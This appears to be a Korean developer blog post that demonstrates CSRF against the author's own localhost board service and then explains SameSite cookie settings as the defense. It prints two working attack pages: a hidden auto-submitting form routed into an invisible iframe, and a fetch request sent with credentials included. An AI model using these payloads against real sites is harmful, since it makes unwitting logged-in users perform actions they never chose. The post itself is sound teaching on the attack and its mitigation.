CSRF 공격을 방지하기 위한 SameSite 설정 - CSRF(1)
인증과 관련하여 Spring Security에 대해 학습하던 중 CSRF라는 키워드에 갑자기 궁금증이 생겼다.
최근에는 대부분의 백엔드 서버가 REST API를 활용하여 데이터를 제공하고 있어 CSRF에 대한 검증을 하지 않는다 하였다.
그렇다면 기존의 세션 방식으로 인증을 진행할 때는 왜 CSRF 공격에 대한 대비를 해야했을까??
CSRF 공격에 대한 내용을 예시를 통해 확인해보자
사전준비
CSRF 공격을 테스트 하기 위해 공격 대상이 될 게시판 서비스를 생성 후 localhost를 통하여 접근하였다.
이제 사용자의 인증 정보를 활용하여 공격자가 의도한대로 게시글이 등록되게 할 것이다.
외부에서 발생한 CSRF 공격
외부에서 CSRF 공격을 시도하는 예시를 위해 별도의 서비스에서 실행될 피싱 페이지를 제작하였다.
외부 사이트임을 가정하기 위해 127.0.0.1을 통해 해당 사이트를 접근하였다.
게시판 서비스에 로그인 된 인증 정보를 가진 사용자가 피싱 페이지에 접속할 경우 자동으로 글이 작성되는데
이 때 두가지 방법으로 CSRF 공격을 구현하였다.
1. form을 활용한 CSRF 공격
페이지 로딩 시 자동으로 csrfForm을 submit 하도록 하여 사용자의 인증 정보를 활용하여 게시글을 작성하는 방식이다.
<!-- 방법 1: Form & iframe 활용 -->
<form id="csrfForm" action="http://localhost:8080/board/new" method="POST" target="hiddenFrame">
<input type="hidden" name="title" value="Form CSRF ATTACK">
<input type="hidden" name="writer" value="hacker">
<input type="hidden" name="content" value="게시판 중학생한테 털렸죠 ㅋㅋㅋㅋㅋ">
</form>
<!-- iframe 추가 - 폼 제출 결과 여기로 이동 (사용자가 공격 사실 모르도록) -->
<iframe name="hiddenFrame" style="display:none;"></iframe>
<script>
// 노출되지 않은 form에서 진행된 요청 전송
document.getElementById('csrfForm').submit();
</script>
form을 submit할 경우 자동으로 페이지 이동이 진행되는데
사용자가 알아차리지 못하도록 hiddenFrame을 생성하여 페이지 이동이 hiddenFrame에서 이루어지도록 하였다.
2. ajax를 활용한 CSRF 공격
두번째 방법은 ajax를 활용하여 페이지 로딩 시 게시글이 작성되도록 하는 방식이다.
<!-- 방법 2: ajax를 활용한 CSRF 공격 -->
<!-- 요청 시 credentials: 'include' 옵션을 추가하여 쿠키(세션) 포함 -->
function sendCSRF() {
var formData = new FormData();
formData.append('title', 'JS CSRF ATTACK');
formData.append('writer', 'hacker');
formData.append('content', '게시판 중학생한테 털렸죠 ㅋㅋㅋㅋㅋ');
fetch('http://localhost:8080/board/new', {
method: 'POST',
body: formData,
credentials: 'include', // 쿠키(세션) 포함
}).then((result) => {
document.getElementById('status').innerHTML = '<p style="color: green;">AJAX 요청 전송 완료</p>';
});
}
sendCSRF();
게시판 서비스에서 사용자의 인증된 세션 정보는 쿠키에 저장하고 있다.
ajax 요청 시 해당 정보도 같이 전달하기 위해 credentials: 'include' 옵션을 추가해주었다.
실행 결과
위와 같이 공격자는 게시판 서비스에서 접근 권한이 없음에도 사용자 인증 정보를 활용하여 글을 등록할 수 있었다.
그렇다면 이는 어떻게 방지할 수 있을까??
대처 방안
방법은 간단하다. 공격자의 사이트에서 사용자 인증 정보를 활용할 수 없도록 하는 것이다.
이를 위하여 우리는 사용자 인증 정보 쿠키에 SameSite 속성을 추가하면 된다.
SameSite 속성이란?
브라우저가 해당 쿠키를 어떤 상황에서 요청에 포함시킬지를 제어하는 정책
SameSite 속성은 총 3종류가 있다.
1. SameSite = None
모든 cross-site 요청에도 쿠키를 전송.
제3자 서비스에서도 쿠키를 사용할 수 있기 때문에 위와 같은 CSRF 공격에 취약하다.
2. SameSite=Lax (기본값)
비교적 보안상 안전한 GET 방식의 요청에서만 쿠키를 전송.
POST 요청, iframe, 이미지, AJAX 등 cross-site 컨텍스트에서는 쿠키를 전송하지 않음.
Chrome 80 버전부터는 별도의 정책이 수립되어있지 않은 경우 Lax를 기본값으로 사용한다.
(localhost의 경우 브라우저에서 테스트 환경으로 판단하여 이 정책에 포함되지 않았다)
3. SameSite=Strict
가장 보수적인 설정으로 같은 사이트 내에서의 요청에서만 해당 쿠키를 사용할 수 있다.
예시에서 CSRF 공격은 iframe, AJAX 요청을 통해 진행되었으므로 SameSite를 Lax로 설정하여 CSRF 공격을 예방할 수 있다.
인증 정보 쿠키가 없으므로 글이 등록되지 않고 login 페이지로 redirect 되는 것을 확인할 수 있다.
추가적으로 다음 글에서는 내부에서 발생한 CSRF(+XSS) 공격을 예방하는 방법을 알아보도록 하겠다.